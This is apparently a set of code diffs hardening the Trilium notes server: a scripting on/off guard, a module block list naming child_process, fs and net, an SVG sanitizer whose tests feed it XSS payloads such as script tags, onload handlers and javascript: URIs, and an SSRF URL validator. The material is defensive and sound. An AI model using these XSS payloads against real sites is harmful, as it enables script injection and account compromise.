* against the provided variables map.
*
* @param template - The template string, e.g. "Note: ${now.format('YYYY-MM-DD')}"
* @param variables - Map of variable names to their values
* @returns The interpolated string
* @throws Error if an expression cannot be safely evaluated
*/
export function evaluateTemplate(template: string, variables: TemplateVariables): string {
return template.replace(/\$\{([^}]+)\}/g, (_match, expression: string) => {
const result = evaluateExpression(expression.trim(), variables);
return result == null ? "" : String(result);
});
}
/**
* Evaluates a single expression like "now.format('YYYY-MM-DD')" or "parentNote.title".
*
* Supported forms:
* - `varName` -> variables[varName]
* - `varName.prop` -> variables[varName].prop
* - `varName.prop1.prop2` -> variables[varName].prop1.prop2
* - `varName.method('arg')` -> variables[varName].method('arg')
* - `varName.prop.method('arg')` -> variables[varName].prop.method('arg')
*/
function evaluateExpression(expr: string, variables: TemplateVariables): unknown {
// Parse the expression into segments: variable name, property accesses, and optional method call.
// We handle: varName(.propName)*.methodName('stringArg')?
// First, check for a method call at the end: .methodName('arg') or .methodName("arg")
const methodCallMatch = expr.match(
/^([a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*)\.([a-zA-Z_]\w*)\(\s*(?:'([^']*)'|"([^"]*)")\s*\)$/
);
if (methodCallMatch) {
const [, chainStr, methodName, singleQuoteArg, doubleQuoteArg] = methodCallMatch;
const methodArg = singleQuoteArg !== undefined ? singleQuoteArg : doubleQuoteArg;
if (!ALLOWED_METHODS.has(methodName)) {
throw new Error(`Method '${methodName}' is not allowed in template expressions`);
}
const target = resolvePropertyChain(chainStr, variables);
if (target == null) {
return null;
}
const method = (target as Record<string, unknown>)[methodName];
if (typeof method !== "function") {
throw new Error(`'${methodName}' is not a function on the resolved object`);
}
return (method as (arg: string) => unknown).call(target, methodArg as string);
}
// Check for a no-arg method call at the end: .methodName()
const noArgMethodMatch = expr.match(
/^([a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*)\.([a-zA-Z_]\w*)\(\s*\)$/
);
if (noArgMethodMatch) {
const [, chainStr, methodName] = noArgMethodMatch;
if (!ALLOWED_METHODS.has(methodName)) {
throw new Error(`Method '${methodName}' is not allowed in template expressions`);
}
const target = resolvePropertyChain(chainStr, variables);
if (target == null) {
return null;
}
const method = (target as Record<string, unknown>)[methodName];
if (typeof method !== "function") {
throw new Error(`'${methodName}' is not a function on the resolved object`);
}
return (method as () => unknown).call(target);
}
// Otherwise it's a pure property chain: varName.prop1.prop2...
const propChainMatch = expr.match(/^[a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*$/);
if (!propChainMatch) {
throw new Error(`Template expression '${expr}' is not a supported expression. ` +
`Only property access and whitelisted method calls are allowed.`);
}
return resolvePropertyChain(expr, variables);
}
/**
* Resolves a dot-separated property chain like "parentNote.title" against variables.
*/
function resolvePropertyChain(chain: string, variables: TemplateVariables): unknown {
const parts = chain.split(".");
const rootName = parts[0];
if (!(rootName in variables)) {
throw new Error(`Unknown variable '${rootName}' in template expression`);
}
let current: unknown = variables[rootName];
for (let i = 1; i < parts.length; i++) {
if (current == null) {
return null;
}
const prop = parts[i];
if (!ALLOWED_PROPERTIES.has(prop)) {
throw new Error(`Property '${prop}' is not allowed in template expressions`);
}
current = (current as Record<string, unknown>)[prop];
}
return current;
}
/**
* Convenience wrapper that evaluates a template and catches errors,
* logging them and returning the fallback value.
*/
export function evaluateTemplateSafe(
template: string,
variables: TemplateVariables,
fallback: string,
contextDescription: string
): string {
try {
return evaluateTemplate(template, variables);
} catch (e: any) {
log.error(`Template evaluation for ${contextDescription} failed with: ${e.message}`);
return fallback;
}
}

View File

@@ -8,6 +8,7 @@ import hiddenSubtreeService from "./hidden_subtree.js";
import type BNote from "../becca/entities/bnote.js";
import options from "./options.js";
import { getLastProtectedSessionOperationDate, isProtectedSessionAvailable, resetDataKey } from "./protected_session.js";
import { isScriptingEnabled } from "./scripting_guard.js";
import ws from "./ws.js";
function getRunAtHours(note: BNote): number[] {
@@ -45,7 +46,7 @@ export function startScheduler() {
// Periodic checks.
sqlInit.dbReady.then(() => {
if (!process.env.TRILIUM_SAFE_MODE) {
if (!process.env.TRILIUM_SAFE_MODE && isScriptingEnabled()) {
setTimeout(
cls.wrap(() => runNotesWithLabel("backendStartup")),
10 * 1000
@@ -60,13 +61,14 @@ export function startScheduler() {
cls.wrap(() => runNotesWithLabel("daily")),
24 * 3600 * 1000
);
setInterval(
cls.wrap(() => hiddenSubtreeService.checkHiddenSubtree()),
7 * 3600 * 1000
);
}
// Internal maintenance - always runs regardless of scripting setting
setInterval(
cls.wrap(() => hiddenSubtreeService.checkHiddenSubtree()),
7 * 3600 * 1000
);
setInterval(() => checkProtectedSessionExpiration(), 30000);
});
}

View File

@@ -3,6 +3,51 @@ import BackendScriptApi from "./backend_script_api.js";
import type BNote from "../becca/entities/bnote.js";
import type { ApiParams } from "./backend_script_api_interface.js";
/**
* IMPORTANT: This module allowlist/blocklist is a defense-in-depth measure only.
* It is NOT a security sandbox. Scripts execute via eval() in the main Node.js
* process and can bypass these restrictions through globalThis, process, etc.
* The actual security boundary is the [Scripting] enabled=false config toggle,
* which prevents script execution entirely.
*
* Modules that are safe for user scripts to require.
* Note-based modules (resolved via note title matching) are handled separately
* and always allowed regardless of this list.
*/
const ALLOWED_MODULES = new Set([
// Safe utility libraries
"dayjs",
"marked",
"turndown",
"cheerio",
"axios",
"xml2js",
"escape-html",
"sanitize-html",
"lodash",
]);
/**
* Modules that are ALWAYS blocked even when scripting is enabled.
* These provide OS-level access that makes RCE trivial.
*/
const BLOCKED_MODULES = new Set([
"child_process",
"cluster",
"dgram",
"dns",
"fs",
"fs/promises",
"net",
"os",
"path",
"process",
"tls",
"worker_threads",
"v8",
"vm",
]);
type Module = {
exports: any[];
};
@@ -26,7 +71,23 @@ class ScriptContext {
const note = candidates.find((c) => c.title === moduleName);
if (!note) {
return require(moduleName);
// Check blocked list first
if (BLOCKED_MODULES.has(moduleName)) {
throw new Error(
`Module '${moduleName}' is blocked for security. ` +
`Scripts cannot access OS-level modules like child_process, fs, net, os.`
);
}
// Allow if in whitelist
if (ALLOWED_MODULES.has(moduleName)) {
return require(moduleName);
}
throw new Error(
`Module '${moduleName}' is not in the allowed modules list. ` +
`Contact your administrator to add it to the whitelist.`
);
}
return this.modules[note.noteId].exports;

View File

@@ -0,0 +1,148 @@
import { vi, describe, it, expect, beforeEach } from "vitest";
// Mutable mock state that can be changed between tests
const mockState = {
isElectron: false,
scriptingEnabled: false,
sqlConsoleEnabled: false
};
// Mock utils module so isElectron can be controlled per test
vi.mock("./utils.js", () => ({
isElectron: false,
default: {
isElectron: false
}
}));
// Mock config module so Scripting section can be controlled per test
vi.mock("./config.js", () => ({
default: {
Scripting: {
get enabled() {
return mockState.scriptingEnabled;
},
get sqlConsoleEnabled() {
return mockState.sqlConsoleEnabled;
}
}
}
}));
describe("scripting_guard", () => {
beforeEach(() => {
// Reset to defaults
mockState.isElectron = false;
mockState.scriptingEnabled = false;
mockState.sqlConsoleEnabled = false;
vi.resetModules();
});
describe("assertScriptingEnabled", () => {
it("should throw when scripting is disabled and not Electron", async () => {
mockState.isElectron = false;
mockState.scriptingEnabled = false;
// Re-mock utils with isElectron = false
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).toThrowError(
/Script execution is disabled/
);
});
it("should not throw when scripting is enabled", async () => {
mockState.scriptingEnabled = true;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).not.toThrow();
});
it("should not throw when isElectron is true even if config is false", async () => {
mockState.scriptingEnabled = false;
vi.doMock("./utils.js", () => ({
isElectron: true,
default: { isElectron: true }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).not.toThrow();
});
});
describe("assertSqlConsoleEnabled", () => {
it("should throw when SQL console is disabled and not Electron", async () => {
mockState.sqlConsoleEnabled = false;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { assertSqlConsoleEnabled } = await import("./scripting_guard.js");
expect(() => assertSqlConsoleEnabled()).toThrowError(
/SQL console is disabled/
);
});
it("should not throw when SQL console is enabled", async () => {
mockState.sqlConsoleEnabled = true;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { assertSqlConsoleEnabled } = await import("./scripting_guard.js");
expect(() => assertSqlConsoleEnabled()).not.toThrow();
});
});
describe("isScriptingEnabled", () => {
it("should return false when disabled and not Electron", async () => {
mockState.scriptingEnabled = false;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { isScriptingEnabled } = await import("./scripting_guard.js");
expect(isScriptingEnabled()).toBe(false);
});
it("should return true when enabled", async () => {
mockState.scriptingEnabled = true;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { isScriptingEnabled } = await import("./scripting_guard.js");
expect(isScriptingEnabled()).toBe(true);
});
it("should return true when isElectron is true", async () => {
mockState.scriptingEnabled = false;
vi.doMock("./utils.js", () => ({
isElectron: true,
default: { isElectron: true }
}));
const { isScriptingEnabled } = await import("./scripting_guard.js");
expect(isScriptingEnabled()).toBe(true);
});
});
});

View File

@@ -0,0 +1,28 @@
import config from "./config.js";
import { isElectron } from "./utils.js";
/**
* Throws if scripting is disabled. Desktop (Electron) always allows scripting.
*/
export function assertScriptingEnabled(): void {
if (isElectron || config.Scripting.enabled) {
return;
}
throw new Error(
"Script execution is disabled. Set [Scripting] enabled=true in config.ini or " +
"TRILIUM_SCRIPTING_ENABLED=true to enable. WARNING: Scripts have full server access."
);
}
export function assertSqlConsoleEnabled(): void {
if (isElectron || config.Scripting.sqlConsoleEnabled) {
return;
}
throw new Error(
"SQL console is disabled. Set [Scripting] sqlConsoleEnabled=true in config.ini to enable."
);
}
export function isScriptingEnabled(): boolean {
return isElectron || config.Scripting.enabled;
}

View File

@@ -17,6 +17,7 @@ import type { SearchParams, TokenStructure } from "./types.js";
import type Expression from "../expressions/expression.js";
import sql from "../../sql.js";
import scriptService from "../../script.js";
import { isScriptingEnabled } from "../../scripting_guard.js";
import striptags from "striptags";
import protectedSessionService from "../../protected_session.js";
@@ -80,6 +81,11 @@ function searchFromRelation(note: BNote, relationName: string) {
return [];
}
if (!isScriptingEnabled()) {
log.info("Script-based search is disabled (scripting is not enabled).");
return [];
}
if (!scriptNote.isJavaScript() || scriptNote.getScriptEnv() !== "backend") {
log.info(`Note ${scriptNote.noteId} is not executable.`);

View File

@@ -0,0 +1,241 @@
import { describe, expect, it } from "vitest";
import { sanitizeSvg } from "./svg_sanitizer.js";
describe("SVG Sanitizer", () => {
describe("removes dangerous elements", () => {
it("strips <script> tags with content", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script>alert('XSS')</script><circle r="50"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<script");
expect(clean).not.toContain("alert");
expect(clean).toContain("<circle");
});
it("strips <script> tags case-insensitively", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><SCRIPT>alert('XSS')</SCRIPT></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("SCRIPT");
expect(clean).not.toContain("alert");
});
it("strips <script> tags with attributes", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script type="text/javascript">alert('XSS')</script></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<script");
expect(clean).not.toContain("alert");
});
it("strips self-closing <script> tags", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script src="evil.js"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<script");
expect(clean).not.toContain("evil.js");
});
it("strips <foreignObject> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script></body></foreignObject></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("foreignObject");
expect(clean).not.toContain("alert");
});
it("strips <iframe> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><iframe src="https://evil.com"></iframe></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<iframe");
expect(clean).not.toContain("evil.com");
});
it("strips <embed> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><embed src="evil.swf"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<embed");
});
it("strips <object> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><object data="evil.swf"></object></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<object");
});
it("strips <link> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><link rel="stylesheet" href="evil.css"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<link");
});
it("strips <meta> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><meta http-equiv="refresh" content="0;url=evil.com"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<meta");
});
});
describe("removes event handler attributes", () => {
it("strips onload from SVG root", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"><circle r="50"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onload");
expect(clean).not.toContain("alert");
expect(clean).toContain("<circle");
expect(clean).toContain("<svg");
});
it("strips onclick from elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><circle r="50" onclick="alert('XSS')"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onclick");
expect(clean).not.toContain("alert");
expect(clean).toContain("r=\"50\"");
});
it("strips onerror from elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><image onerror="alert('XSS')" href="x"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onerror");
expect(clean).not.toContain("alert");
});
it("strips onmouseover from elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><rect onmouseover="alert('XSS')" width="100" height="100"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onmouseover");
});
it("strips onfocus from elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><rect onfocus="alert('XSS')" tabindex="0"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onfocus");
});
});
describe("removes dangerous URI schemes", () => {
it("strips javascript: URIs from href", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href="javascript:alert('XSS')"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("javascript:");
expect(clean).toContain("<text>Click</text>");
});
it("strips javascript: URIs from xlink:href", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a xlink:href="javascript:alert('XSS')"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("javascript:");
});
it("strips data:text/html URIs", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href="data:text/html,<script>alert(1)</script>"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("data:text/html");
});
it("strips vbscript: URIs", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href="vbscript:msgbox('XSS')"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("vbscript:");
});
it("strips javascript: URIs with whitespace padding", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href=" javascript:alert(1)"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("javascript:");
});
});
describe("removes xml-stylesheet processing instructions", () => {
it("strips xml-stylesheet PIs", () => {
const dirty = `<?xml-stylesheet type="text/xsl" href="evil.xsl"?><svg xmlns="http://www.w3.org/2000/svg"><circle r="50"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("xml-stylesheet");
expect(clean).toContain("<circle");
});
});
describe("preserves legitimate SVG content", () => {
it("preserves basic SVG shapes", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><circle cx="50" cy="50" r="40" fill="red"/><rect x="10" y="10" width="80" height="80" fill="blue"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
it("preserves SVG paths", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><path d="M10 10 L90 90" stroke="black" stroke-width="2"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
it("preserves SVG text elements", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><text x="50" y="50" font-size="20">Hello World</text></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
it("preserves SVG groups and transforms", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><g transform="translate(10,10)"><circle r="5"/></g></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
it("preserves SVG style elements with CSS (not script)", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><style>.cls{fill:red}</style><circle class="cls" r="50"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toContain("<style>");
expect(clean).toContain("fill:red");
});
it("preserves SVG defs and gradients", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><defs><linearGradient id="grad"><stop offset="0%" stop-color="red"/><stop offset="100%" stop-color="blue"/></linearGradient></defs><rect fill="url(#grad)" width="100" height="100"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toContain("linearGradient");
expect(clean).toContain("url(#grad)");
});
it("preserves safe href attributes (non-javascript)", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><a href="https://example.com"><text>Link</text></a></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toContain(`href="https://example.com"`);
});
it("preserves data: URIs for images (non-HTML)", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><image href="data:image/png;base64,abc123"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toContain("data:image/png;base64,abc123");
});
it("preserves empty SVG", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
});
describe("handles edge cases", () => {
it("handles Buffer input", () => {
const svg = Buffer.from(`<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>`);
const clean = sanitizeSvg(svg);
expect(clean).not.toContain("<script");
});
it("handles multiple script tags", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script><circle r="50"/><script>alert(2)</script></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<script");
expect(clean).toContain("<circle");
});
it("handles mixed dangerous content", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><script>alert(2)</script><foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><img onerror="alert(3)"/></body></foreignObject><circle r="50" onclick="alert(4)"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("alert");
expect(clean).not.toContain("onload");
expect(clean).not.toContain("<script");
expect(clean).not.toContain("foreignObject");
expect(clean).not.toContain("onclick");
expect(clean).toContain("<circle");
});
it("handles empty string input", () => {
expect(sanitizeSvg("")).toBe("");
});
});
});

View File

@@ -0,0 +1,158 @@
/**
* SVG sanitizer to prevent stored XSS via malicious SVG content.
*
* SVG files can contain embedded JavaScript via <script> tags, event handler
* attributes (onload, onclick, etc.), <foreignObject> elements, and
* javascript: URIs. This sanitizer strips all such dangerous constructs
* while preserving legitimate SVG rendering elements.
*
* Defense-in-depth: SVG responses also receive a restrictive
* Content-Security-Policy header (see {@link setSvgHeaders}) to block
* script execution even if sanitization is bypassed.
*/
import type { Response } from "express";
// Elements that MUST be removed from SVG (they can execute code or embed arbitrary HTML)
const DANGEROUS_ELEMENTS = new Set([
"script",
"foreignobject",
"iframe",
"embed",
"object",
"applet",
"base",
"link", // can load external resources
"meta",
]);
// Attribute prefixes/names that indicate event handlers
const EVENT_HANDLER_PATTERN = /^on[a-z]/i;
// Dangerous attribute values (javascript:, data: with script content, vbscript:)
const DANGEROUS_URI_PATTERN = /^\s*(javascript|vbscript|data\s*:\s*text\/html)/i;
// Attributes that can contain URIs
const URI_ATTRIBUTES = new Set([
"href",
"xlink:href",
"src",
"action",
"formaction",
"data",
]);
// SVG "set" and "animate" elements can modify attributes to dangerous values
const DANGEROUS_ANIMATION_ATTRIBUTES = new Set([
"attributename",
]);
/**
* Sanitizes SVG content by removing dangerous elements and attributes
* that could lead to script execution (XSS).
*
* This uses regex-based parsing rather than a full DOM parser to avoid
* adding heavy dependencies. The approach is conservative: it removes
* known-dangerous constructs rather than allowlisting, but combined with
* the CSP header this provides robust protection.
*/
export function sanitizeSvg(svg: string | Buffer): string {
let content = typeof svg === "string" ? svg : svg.toString("utf-8");
// 1. Remove dangerous elements and their contents entirely.
// Use a case-insensitive regex that handles self-closing and content-bearing tags.
for (const element of DANGEROUS_ELEMENTS) {
// Remove opening+closing tag pairs (including content between them)
const pairRegex = new RegExp(
`<${element}[\\s>][\\s\\S]*?<\\/${element}\\s*>`,
"gi"
);
content = content.replace(pairRegex, "");
// Remove self-closing variants
const selfClosingRegex = new RegExp(
`<${element}(\\s[^>]*)?\\/?>`,
"gi"
);
content = content.replace(selfClosingRegex, "");
}
// 2. Remove event handler attributes (onclick, onload, onerror, etc.)
// and dangerous URI attributes from all remaining elements.
content = content.replace(/<([a-zA-Z][a-zA-Z0-9-]*)((?:\s+[^>]*?)?)(\s*\/?>)/g,
(_match, tagName, attrs, closing) => {
if (!attrs || !attrs.trim()) {
return `<${tagName}${closing}`;
}
// Parse and filter attributes
const sanitizedAttrs = sanitizeAttributes(attrs);
return `<${tagName}${sanitizedAttrs}${closing}`;
}
);
// 3. Remove processing instructions that could be exploited
content = content.replace(/<\?xml-stylesheet[^?]*\?>/gi, "");
return content;
}
/**
* Sanitizes the attribute string of an SVG element by removing
* event handlers and dangerous URI values.
*/
function sanitizeAttributes(attrString: string): string {
// Match individual attributes: name="value", name='value', name=value, or standalone name
return attrString.replace(
/\s+([a-zA-Z_:][\w:.-]*)\s*(?:=\s*(?:"([^"]*)"|'([^']*)'|(\S+)))?/g,
(fullMatch, attrName, dblVal, sglVal, unquotedVal) => {
const lowerAttrName = attrName.toLowerCase();
const attrValue = dblVal ?? sglVal ?? unquotedVal ?? "";
// Remove all event handler attributes
if (EVENT_HANDLER_PATTERN.test(lowerAttrName)) {
return "";
}
// Check URI-bearing attributes for dangerous schemes
if (URI_ATTRIBUTES.has(lowerAttrName)) {
if (DANGEROUS_URI_PATTERN.test(attrValue)) {
return "";
}
}
// Block animation elements from targeting event handlers via attributeName
if (DANGEROUS_ANIMATION_ATTRIBUTES.has(lowerAttrName)) {
const targetAttr = attrValue.toLowerCase();
if (EVENT_HANDLER_PATTERN.test(targetAttr) || targetAttr === "href" || targetAttr === "xlink:href") {
return "";
}
}
return fullMatch;
}
);
}
/**
* Sets security headers appropriate for SVG responses.
* This provides defense-in-depth: even if SVG sanitization is somehow
* bypassed, the CSP header prevents script execution.
*/
export function setSvgHeaders(res: Response): void {
res.set("Content-Type", "image/svg+xml");
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
// Restrictive CSP that allows SVG rendering but blocks all script execution,
// inline event handlers, and plugin-based content.
res.set(
"Content-Security-Policy",
"default-src 'none'; style-src 'unsafe-inline'; img-src 'self' data:; font-src 'self' data:"
);
// Prevent SVG from being reinterpreted in a different MIME context
res.set("X-Content-Type-Options", "nosniff");
}
export default {
sanitizeSvg,
setSvgHeaders
};

View File

@@ -5,6 +5,8 @@ import eventService from "./events.js";
import entityConstructor from "../becca/entity_constructor.js";
import ws from "./ws.js";
import type { EntityChange, EntityChangeRecord, EntityRow } from "@triliumnext/commons";
import attributeService from "./attributes.js";
import { isScriptingEnabled } from "./scripting_guard.js";
interface UpdateContext {
alreadyErased: number;
@@ -91,6 +93,18 @@ function updateNormalEntity(remoteEC: EntityChange, remoteEntityRow: EntityRow |
preProcessContent(remoteEC, remoteEntityRow);
// When scripting is disabled, prefix dangerous attributes with 'disabled:'
// Same pattern as safeImport in attributes.ts
if (remoteEC.entityName === "attributes" && !isScriptingEnabled()) {
const attrRow = remoteEntityRow as Record<string, unknown>;
if (typeof attrRow.type === "string" && typeof attrRow.name === "string"
&& !attrRow.isDeleted
&& attributeService.isAttributeDangerous(attrRow.type, attrRow.name)) {
log.info(`Sync: disabling dangerous attribute '${attrRow.name}' (scripting is disabled)`);
attrRow.name = `disabled:${attrRow.name}`;
}
}
sql.replace(remoteEC.entityName, remoteEntityRow);
updateContext.updated[remoteEC.entityName] = updateContext.updated[remoteEC.entityName] || [];

View File

@@ -0,0 +1,140 @@
/**
* URL validation utilities to prevent SSRF (Server-Side Request Forgery) attacks.
*
* These checks enforce scheme allowlists and optionally block requests to
* private/internal IP ranges so that user-controlled URLs cannot be used to
* reach local files or internal network services.
*/
import { URL } from "url";
import log from "./log.js";
/**
* IPv4 private and reserved ranges that should not be reachable from
* server-side HTTP requests initiated by user-supplied URLs.
*/
const PRIVATE_IPV4_RANGES: Array<{ prefix: number; mask: number }> = [
{ prefix: 0x7F000000, mask: 0xFF000000 }, // 127.0.0.0/8 (loopback)
{ prefix: 0x0A000000, mask: 0xFF000000 }, // 10.0.0.0/8 (private)
{ prefix: 0xAC100000, mask: 0xFFF00000 }, // 172.16.0.0/12 (private)
{ prefix: 0xC0A80000, mask: 0xFFFF0000 }, // 192.168.0.0/16 (private)
{ prefix: 0xA9FE0000, mask: 0xFFFF0000 }, // 169.254.0.0/16 (link-local)
{ prefix: 0x00000000, mask: 0xFF000000 }, // 0.0.0.0/8 (current network)
];
/**
* Parse a dotted-decimal IPv4 address into a 32-bit integer, or return null
* if the string is not a valid IPv4 literal.
*/
function parseIPv4(ip: string): number | null {
const parts = ip.split(".");
if (parts.length !== 4) return null;
let result = 0;
for (const part of parts) {
const octet = Number(part);
if (!Number.isInteger(octet) || octet < 0 || octet > 255) return null;
result = (result << 8) | octet;
}
// Convert to unsigned 32-bit
return result >>> 0;
}
/**
* Returns true when the hostname is a private/internal IPv4 address, an IPv6
* loopback (::1), or an IPv6 unique-local address (fc00::/7).
*
* DNS resolution is NOT performed here; the check only applies when the
* hostname is already an IP literal. For full SSRF protection against DNS
* rebinding you would need an additional check after resolution, but
* blocking IP literals covers the most common attack vectors.
*/
function isPrivateIP(hostname: string): boolean {
// Strip IPv6 bracket notation that URL may retain.
const cleanHost = hostname.replace(/^\[|\]$/g, "");
// IPv6 checks
if (cleanHost === "::1") return true;
if (cleanHost.toLowerCase().startsWith("fc") || cleanHost.toLowerCase().startsWith("fd")) {
// fc00::/7 covers fc00:: through fdff::
return true;
}
// IPv4 check
const ipNum = parseIPv4(cleanHost);
if (ipNum !== null) {
for (const range of PRIVATE_IPV4_RANGES) {
if ((ipNum & range.mask) === (range.prefix >>> 0)) {
return true;
}
}
}
// "localhost" as a hostname (not an IP literal)
if (cleanHost.toLowerCase() === "localhost") {
return true;
}
return false;
}
/** Schemes that are safe for outbound HTTP(S) image downloads. */
const ALLOWED_HTTP_SCHEMES = new Set(["http:", "https:"]);
/**
* Validate that a URL is safe for server-side fetching (e.g. image downloads).
*
* Rules:
* 1. Only http: and https: schemes are permitted.
* 2. The hostname must not resolve to a private/internal IP range.
*
* Returns `true` when the URL passes all checks, `false` otherwise.
* Invalid / unparseable URLs also return `false`.
*/
export function isSafeUrlForFetch(urlStr: string): boolean {
try {
const parsed = new URL(urlStr);
if (!ALLOWED_HTTP_SCHEMES.has(parsed.protocol)) {
log.info(`URL rejected - disallowed scheme '${parsed.protocol}': ${urlStr}`);
return false;
}
if (isPrivateIP(parsed.hostname)) {
log.info(`URL rejected - private/internal IP '${parsed.hostname}': ${urlStr}`);
return false;
}
return true;
} catch {
log.info(`URL rejected - failed to parse: ${urlStr}`);
return false;
}
}
/**
* Validate that a base URL intended for an LLM provider API is using a safe
* scheme (http or https only).
*
* This is a lighter check than `isSafeUrlForFetch` because LLM base URLs are
* configured by authenticated administrators, so we only enforce the scheme
* restriction without blocking private IPs (which are legitimate for
* self-hosted services like Ollama).
*
* Returns `true` when the URL passes the check, `false` otherwise.
*/
export function isSafeProviderBaseUrl(urlStr: string): boolean {
try {
const parsed = new URL(urlStr);
if (!ALLOWED_HTTP_SCHEMES.has(parsed.protocol)) {
log.info(`LLM provider base URL rejected - disallowed scheme '${parsed.protocol}': ${urlStr}`);
return false;
}
return true;
} catch {
log.info(`LLM provider base URL rejected - failed to parse: ${urlStr}`);
return false;
}
}

View File

@@ -705,3 +705,110 @@ describe("#slugify", () => {
expect(result).toBe(expectedSlug);
});
});
describe("#sanitizeSvg", () => {
it("should remove script elements", () => {
const maliciousSvg = '<svg><script>alert("XSS")</script><rect width="100" height="100"/></svg>';
const result = utils.sanitizeSvg(maliciousSvg);
expect(result).toBe('<svg><rect width="100" height="100"/></svg>');
});
it("should remove script elements with attributes", () => {
const maliciousSvg = '<svg><script type="text/javascript">alert("XSS")</script></svg>';
const result = utils.sanitizeSvg(maliciousSvg);
expect(result).toBe('<svg></svg>');
});
it("should remove multiline script elements", () => {
const maliciousSvg = `<svg><script>
var x = 1;
alert(x);
</script></svg>`;
const result = utils.sanitizeSvg(maliciousSvg);
expect(result).toBe('<svg></svg>');
});
it("should remove onclick event handlers with double quotes", () => {
const maliciousSvg = '<svg><rect onclick="doEvil()" width="100"/></svg>';
